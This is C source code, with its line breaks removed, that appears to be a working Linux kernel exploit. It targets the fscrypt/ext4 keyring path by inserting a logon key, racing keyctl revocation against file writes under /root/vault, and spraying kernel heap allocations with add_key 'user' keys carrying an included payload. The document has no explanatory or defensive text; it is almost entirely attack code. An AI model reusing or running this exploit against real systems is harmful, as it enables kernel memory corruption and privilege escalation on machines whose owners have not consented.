#include #include #include #include #include #include #include #include #include #include #include #include #include "sha512.h" #include "payload.h" /* Begin */ #define FS_MAX_KEY_SIZE 64 struct fscrypt_key { uint32_t mode; uint8_t raw[FS_MAX_KEY_SIZE]; uint32_t size; } __attribute__((packed)); #define FS_KEY_DESCRIPTOR_SIZE 8 #define FS_KEY_DESCRIPTOR_HEX_SIZE ((2 * FS_KEY_DESCRIPTOR_SIZE) + 1) #define FS_POLICY_FLAGS_PAD_4 0x00 #define FS_POLICY_FLAGS_PAD_8 0x01 #define FS_POLICY_FLAGS_PAD_16 0x02 #define FS_POLICY_FLAGS_PAD_32 0x03 #define FS_POLICY_FLAGS_PAD_MASK 0x03 #define FS_POLICY_FLAGS_VALID 0x03 #define FS_ENCRYPTION_MODE_INVALID 0 #define FS_ENCRYPTION_MODE_AES_256_XTS 1 #define FS_ENCRYPTION_MODE_AES_256_GCM 2 #define FS_ENCRYPTION_MODE_AES_256_CBC 3 #define FS_ENCRYPTION_MODE_AES_256_CTS 4 struct fscrypt_policy { uint8_t version; uint8_t contents_encryption_mode; uint8_t filenames_encryption_mode; uint8_t flags; uint8_t master_key_descriptor[FS_KEY_DESCRIPTOR_SIZE]; } __attribute__((packed)); #define FS_IOC_SET_ENCRYPTION_POLICY _IOR('f', 19, struct fscrypt_policy) #define FS_IOC_GET_ENCRYPTION_POLICY _IOW('f', 21, struct fscrypt_policy) #define FS_KEY_DESC_PREFIX "fscrypt:" #define EXT4_KEY_DESC_PREFIX "ext4:" #define MAX_KEY_DESC_PREFIX_SIZE 8 /* End */ typedef int32_t key_serial_t; #define KEYCTL_GET_KEYRING_ID 0 #define KEY_SPEC_THREAD_KEYRING -1 /* - key ID for thread-specific keyring */ #define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */ #define KEY_SPEC_SESSION_KEYRING -3 /* - key ID for session-specific keyring */ #define KEY_SPEC_USER_KEYRING -4 /* - key ID for UID-specific keyring */ #define KEY_SPEC_USER_SESSION_KEYRING -5 /* - key ID for UID-session keyring */ #define KEY_SPEC_GROUP_KEYRING -6 /* - key ID for GID-specific keyring */ #define KEY_SPEC_REQKEY_AUTH_KEY -7 /* - key ID for assumed request_key auth key */ #define KEY_SPEC_REQUESTOR_KEYRING -8 /* - key ID for request_key() dest keyring */ key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) { return syscall(__NR_add_key, type, description, payload, plen, ringid); } /*key_serial_t keyctl_get_keyring_ID(key_serial_t id, int create) { return syscall(__NR_keyctl, KEYCTL_GET_KEYRING_ID, id, create); }*/ /* End */ #define NUM_ENCRYPTION_MODES 5 const char *const mode_strings[NUM_ENCRYPTION_MODES] = { "INVALID", "AES-256-XTS", "AES-256-GCM", "AES-256-CBC", "AES-256-CTS"}; #define NUM_PADDING_VALUES 4 const int padding_values[NUM_PADDING_VALUES] = {4, 8, 16, 32}; // Takes an input key descriptor as a byte array and outputs a hex string. static void key_descriptor_to_hex(const uint8_t bytes[FS_KEY_DESCRIPTOR_SIZE], char hex[FS_KEY_DESCRIPTOR_HEX_SIZE]) { int i; for (i = 0; i < FS_KEY_DESCRIPTOR_SIZE; ++i) { sprintf(hex + 2 * i, "%02x", bytes[i]); } } // Takes an input key descriptor as a hex string and outputs a bytes array. // Returns non-zero if the provided hex string is not formatted correctly. static int key_descriptor_to_bytes(const char *hex, uint8_t bytes[FS_KEY_DESCRIPTOR_SIZE]) { if (strlen(hex) != FS_KEY_DESCRIPTOR_HEX_SIZE - 1) { return -1; } int i, bytes_converted, chars_read; for (i = 0; i < FS_KEY_DESCRIPTOR_SIZE; ++i) { // We must read two hex characters of input into one byte of buffer. bytes_converted = sscanf(hex + 2 * i, "%2hhx%n", bytes + i, &chars_read); if (bytes_converted != 1 || chars_read != 2) { return -1; } } return 0; } static void compute_descriptor(const uint8_t key[FS_MAX_KEY_SIZE], char descriptor[FS_KEY_DESCRIPTOR_HEX_SIZE]) { uint8_t digest1[SHA512_DIGEST_LENGTH]; SHA512(key, FS_MAX_KEY_SIZE, digest1); uint8_t digest2[SHA512_DIGEST_LENGTH]; SHA512(digest1, SHA512_DIGEST_LENGTH, digest2); key_descriptor_to_hex(digest2, descriptor); secure_wipe(digest1, SHA512_DIGEST_LENGTH); secure_wipe(digest2, SHA512_DIGEST_LENGTH); } int enc_key_serial; static int insert_logon_key(const uint8_t key_data[FS_MAX_KEY_SIZE], const char descriptor[FS_KEY_DESCRIPTOR_HEX_SIZE], const char *service_prefix) { // We cannot add directly to KEY_SPEC_SESSION_KEYRING, as that will make a new // session keyring if one does not exist, rather than adding it to the user // session keyring. int keyring_id = keyctl_get_keyring_ID(KEY_SPEC_SESSION_KEYRING, 0); printf("keyring_id: %d\n",keyring_id); if (keyring_id < 0) { perror("keyring_id"); return -1; } char description[MAX_KEY_DESC_PREFIX_SIZE + FS_KEY_DESCRIPTOR_HEX_SIZE]; sprintf(description, "%s%s", service_prefix, descriptor); struct fscrypt_key key = {.mode = 0, .size = FS_MAX_KEY_SIZE}; memcpy(key.raw, key_data, FS_MAX_KEY_SIZE); enc_key_serial = add_key("logon", description, &key, sizeof(key), keyring_id); printf("enc_key_serial after add_key: %x\n",enc_key_serial); if(enc_key_serial <0) return -1; return 0; } unsigned char key_data[] = { 0xc0, 0xb6, 0x6e, 0xff, 0xf1, 0x48, 0x86, 0x0c, 0x61, 0x9a, 0x94, 0x1b, 0xf9, 0x35, 0x0a, 0xff, 0xd0, 0x9e, 0xd2, 0xff, 0xce, 0x16, 0x55, 0x0e, 0x92, 0x65, 0x57, 0x5d, 0xf2, 0x29, 0x00, 0x65, 0xcf, 0x2b, 0xdd, 0xb6, 0x15, 0x41, 0x7f, 0x6a, 0x57, 0xcd, 0x30, 0xfa, 0x3a, 0x63, 0x14, 0x98, 0xef, 0x3f, 0xcc, 0xe6, 0xe1, 0xfd, 0x8c, 0x4a, 0xbc, 0xf6, 0x2f, 0xcb, 0xb8, 0xd0, 0xf4, 0x50 }; //unsigned int key_data_len = 64; static int prepare_key(uint8_t key[FS_MAX_KEY_SIZE]){ /* size_t rc = fread(key, 1, FS_MAX_KEY_SIZE, stdin); int end = fgetc(stdin); // We should read exactly FS_MAX_KEY_SIZE bytes, then hit EOF if (rc == FS_MAX_KEY_SIZE && end == EOF && feof(stdin)) { return 0; } fprintf(stderr, "error: input key must be %d bytes\n", FS_MAX_KEY_SIZE); return -1; */ static uint8_t key_read[] = "1234567812345678123456781234567812345678123456781234567812345678"; //memcpy(key,key_read,FS_MAX_KEY_SIZE); memcpy(key, key_data,FS_MAX_KEY_SIZE); return 0; } // Insert a key read from stdin into the current session keyring. This has the // effect of unlocking files encrypted with that key. static int cmd_insert_key(){ const char *service_prefix = FS_KEY_DESC_PREFIX; static const struct option insert_key_options[] = { {"ext4", no_argument, NULL, 'e'}, {NULL, 0, NULL, 0} }; int ret = EXIT_SUCCESS; uint8_t key[FS_MAX_KEY_SIZE]; if (prepare_key(key)) { //read_key ret = EXIT_FAILURE; return ret; } service_prefix = EXT4_KEY_DESC_PREFIX; char descriptor[FS_KEY_DESCRIPTOR_HEX_SIZE]; compute_descriptor(key, descriptor); if (insert_logon_key(key, descriptor, service_prefix)) { perror("insert_logon_key"); fprintf(stderr, "error: inserting key: %s\n", strerror(errno)); ret = EXIT_FAILURE; } return ret; } static int revoke_key(key_serial_t key){ printf("revoking a key\n"); keyctl_revoke(key); return 0; } //static int read_key(key_serial_t key){ static int read_key(){ int keyring_id = keyctl_get_keyring_ID(KEY_SPEC_SESSION_KEYRING, 0); printf("keyring_id: %d\n",keyring_id); char buf[2048]; //int payload_size=keyctl_read(keyring_id, buf, 2048); printf("enc_key_serial:%x\n",enc_key_serial); int payload_size=keyctl_read(enc_key_serial, buf, 2048); if(payload_size<0){ perror("invalid"); return -1; } else{ printf("sizeof payload: %d\n",payload_size); return 0; } } void *race_thread1(){ revoke_key(enc_key_serial); } char buf_to_write[4096*20]; volatile int thread_cnt = 0; char buf_recv[4096*20]; void *race_thread2(void* arg){ int i; char filename[]="/root/vault/1\x00"; filename[12]=0x41+(((unsigned long)arg)&0xff); int tmp_fd=open(filename,O_RDWR|O_CREAT,0644); if(tmp_fd<0){ perror("open tmp"); } write(tmp_fd,buf_to_write,4096*20); /*for(i=0;i<100;i++){ write(tmp_fd,buf_to_write,4096*20); lseek(tmp_fd,0,SEEK_SET); read(tmp_fd,buf_to_write,4096*20); }*/ close(tmp_fd); remove(filename); /* for(i=0;i<1000000;i++){ lseek(tmp_fd,0,SEEK_SET); write(tmp_fd,buf_to_write,4096*20); lseek(tmp_fd,0,SEEK_SET); read(tmp_fd,buf_to_write,4096*20); } puts("done!"); */ } int do_loop() { pthread_t th[2]; cmd_insert_key(); //read_key(); int i =0; pthread_create(&th[0], 0, race_thread2,(void*)i); //usleep(100000); pthread_create(&th[1],0,race_thread1,0); pthread_join(th[0],0); pthread_join(th[1],0); } int do_spray=1; void *kmalloc(){ int i=0; while(1){ if(do_spray){ if(i%3==1){ syscall(__NR_add_key, "user", "wtf", buf_to_write, 0x1f, -2); } else if(i%3==0){ syscall(__NR_add_key, "user", "wtf", buf_to_write, 0xc0, -2); } else{ syscall(__NR_add_key, "user", "wtf", buf_to_write, 0xc0-18, -2); } i+=1; usleep(1); } } } int spray(){ int i; pthread_t th; for(i=0;i<100;i++){ pthread_create(&th,0,kmalloc,0); } } int main(){ int i; memcpy(buf_to_write,payload,4096*20); spray(); usleep(1000); for(i=0;i<100000;i++){ do_loop(); } }